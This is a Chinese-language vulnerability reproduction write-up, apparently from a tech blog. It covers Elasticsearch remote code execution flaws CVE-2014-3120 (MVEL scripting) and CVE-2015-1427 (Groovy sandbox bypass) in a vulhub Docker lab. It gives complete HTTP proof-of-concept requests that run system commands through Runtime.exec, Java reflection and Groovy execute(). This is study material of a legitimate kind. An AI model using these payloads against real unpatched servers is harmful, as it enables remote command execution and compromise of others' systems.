【漏洞复现】CVE-2014-3120 & CVE-2015-1427 Expression Injection

CVE-2014-3120漏洞信息

NVD - CVE-2014-3120

The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.

老版本的Elasticsearch允许通过JSON请求传入动态脚本,攻击者可以构造包含MVEL代码的查询,从而在服务器上执行任意命令。

CVE-2015-1427漏洞信息

NVD - cve-2015-1427

The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.

CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞本质是一个沙盒绕过,共有两个思路:

  • Java 反射:攻击者可以利用Java的反射机制绕过沙盒限制。
  • Groovy 执行:Groovy本身的特性允许攻击者直接执行命令,无需使用Java。

背景介绍

Elasticsearch is an open source distributed, RESTful search and analytics engine, scalable data store, and vector database capable of addressing a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data for lightning-fast search, fine‑tuned relevancy, and powerful analytics that scale with ease.

主页:https://www.elastic.co/elasticsearch

源码:https://github.com/elastic/elasticsearch

环境搭建

docker-compose.yaml

yaml 复制代码
version: '2'
services:
 es:
   image: vulhub/elasticsearch:1.1.1
   ports:
    - "9200:9200"
    - "9300:9300"

使用Docker Compose构建和启动环境:

sh 复制代码
$ docker-compose up -d

Debug:

sh 复制代码
ERROR: for es  'ContainerConfig'
Traceback (most recent call last):
  File "bin/docker-compose", line 3, in <module>
  File "compose/cli/main.py", line 67, in main
  File "compose/cli/main.py", line 126, in perform_command
  File "compose/cli/main.py", line 1070, in up
  File "compose/cli/main.py", line 1066, in up
  File "compose/project.py", line 648, in up
  File "compose/parallel.py", line 108, in parallel_execute
  File "compose/parallel.py", line 206, in producer
  File "compose/project.py", line 634, in do
  File "compose/service.py", line 579, in execute_convergence_plan
  File "compose/service.py", line 501, in _execute_convergence_recreate
  File "compose/parallel.py", line 108, in parallel_execute
  File "compose/parallel.py", line 206, in producer
  File "compose/service.py", line 494, in recreate
  File "compose/service.py", line 613, in recreate_container
  File "compose/service.py", line 332, in create_container
  File "compose/service.py", line 917, in _get_container_create_options
  File "compose/service.py", line 957, in _build_container_volume_options
  File "compose/service.py", line 1532, in merge_volume_bindings
  File "compose/service.py", line 1562, in get_container_data_volumes
KeyError: 'ContainerConfig'
[5518] Failed to execute script docker-compose

# down --volumes 会停止并删除所有容器和关联的卷
# --remove-orphans 会清除任何不再在 docker-compose.yml 文件中定义的孤立容器
$ docker-compose down --volumes --remove-orphans
$ docker-compose up -d --build

CVE-2014-3120漏洞复现

参考:https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120

MVEL是一种用于Java的表达式语言,允许开发者在运行时动态构造和执行代码。由于Elasticsearch在处理查询时允许使用MVEL,攻击者可以通过构造特定的查询来执行Java代码。以下是用于执行系统命令的MVEL代码示例,该代码通过Runtime.getRuntime().exec("id")执行id命令,并返回结果:

java 复制代码
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\\\A").next();

在Elasticsearch中,查询和脚本通常以JSON格式发送。这使得攻击者能够将恶意Java代码嵌入到JSON请求中:

json 复制代码
{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
  }

该漏洞需要Elasticsearch中至少存在一条数据,以便后续执行脚本,在Elasticsearch中创建一条数据:

发送包含MVEL脚本的查询请求,执行任意代码:

POC_1:

http 复制代码
POST /website/blog/ HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
  "name": "phithon"
}

POC_2:

http 复制代码
POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 356
{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

CVE-2015-1427漏洞复现

参考:https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427

和CVE-2014-3120一样,由于查询时至少要求ElasticSearch中有至少一条数据,所以发送如下数据包,增加一个数据:

Java沙盒绕过法

第一种思路是利用Java反射机制,Payload如下:

java 复制代码
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
  • java.lang.Math.class.forName("java.lang.Runtime"):通过反射获取 Runtime
  • getRuntime().exec("id"):执行系统命令 id
  • getText():获取命令执行的结果

构造POST请求,注意双引号要进行转义或者换成单引号,否则Expression Injection出错:

POC:

http 复制代码
POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 155
{"size":1, "script_fields": {"test":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

Goovy直接执行命令法

第二种思路是直接Groovy执行,Payload如下:

groovy 复制代码
def command='id';def res=command.execute().text;res

同理构造POST请求:

POC:

http 复制代码
POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 119
{"size":1, "script_fields": {"test":{"lang":"groovy","script": "def command='id';def res=command.execute().text;res"}}}
相关推荐
WTT0011几秒前
CTFshow-SSRF&文件上传
大数据·运维·网络·安全·web安全·ctf
观测云14 分钟前
Docker Container 可观测性最佳实践
运维·docker·容器
心灵彼岸-诗和远方25 分钟前
DevOps工程技术价值流:Ansible自动化与Semaphore集成
linux·运维·网络·软件工程·devops
思码逸研发效能31 分钟前
在 DevOps 中,如何应对技术债务和系统复杂性,以确保可持续的研发效能和创新?
运维·算法·研发效能·devops·研发效能度量·效能度量
木卫二号Coding34 分钟前
docker-开源nocodb,使用已有数据库
数据库·docker·开源
爱写代码的小白.35 分钟前
RustDesk内置ID服务器,Key教程
linux·运维·服务器
wq54wq1 小时前
智能流程管理:CRM系统助力订单与回款自动化
运维·自动化
朝九晚五ฺ1 小时前
【Linux探索学习】第二十四弹——软硬链接:Linux 中的软链接与硬链接详解
linux·运维·chrome·学习
神的孩子都在歌唱1 小时前
es创建的索引状态一直是red
大数据·elasticsearch·jenkins
liupenglove1 小时前
快速掌握Elasticsearch检索之二:滚动查询获取全量数据(golang)
大数据·elasticsearch·搜索引擎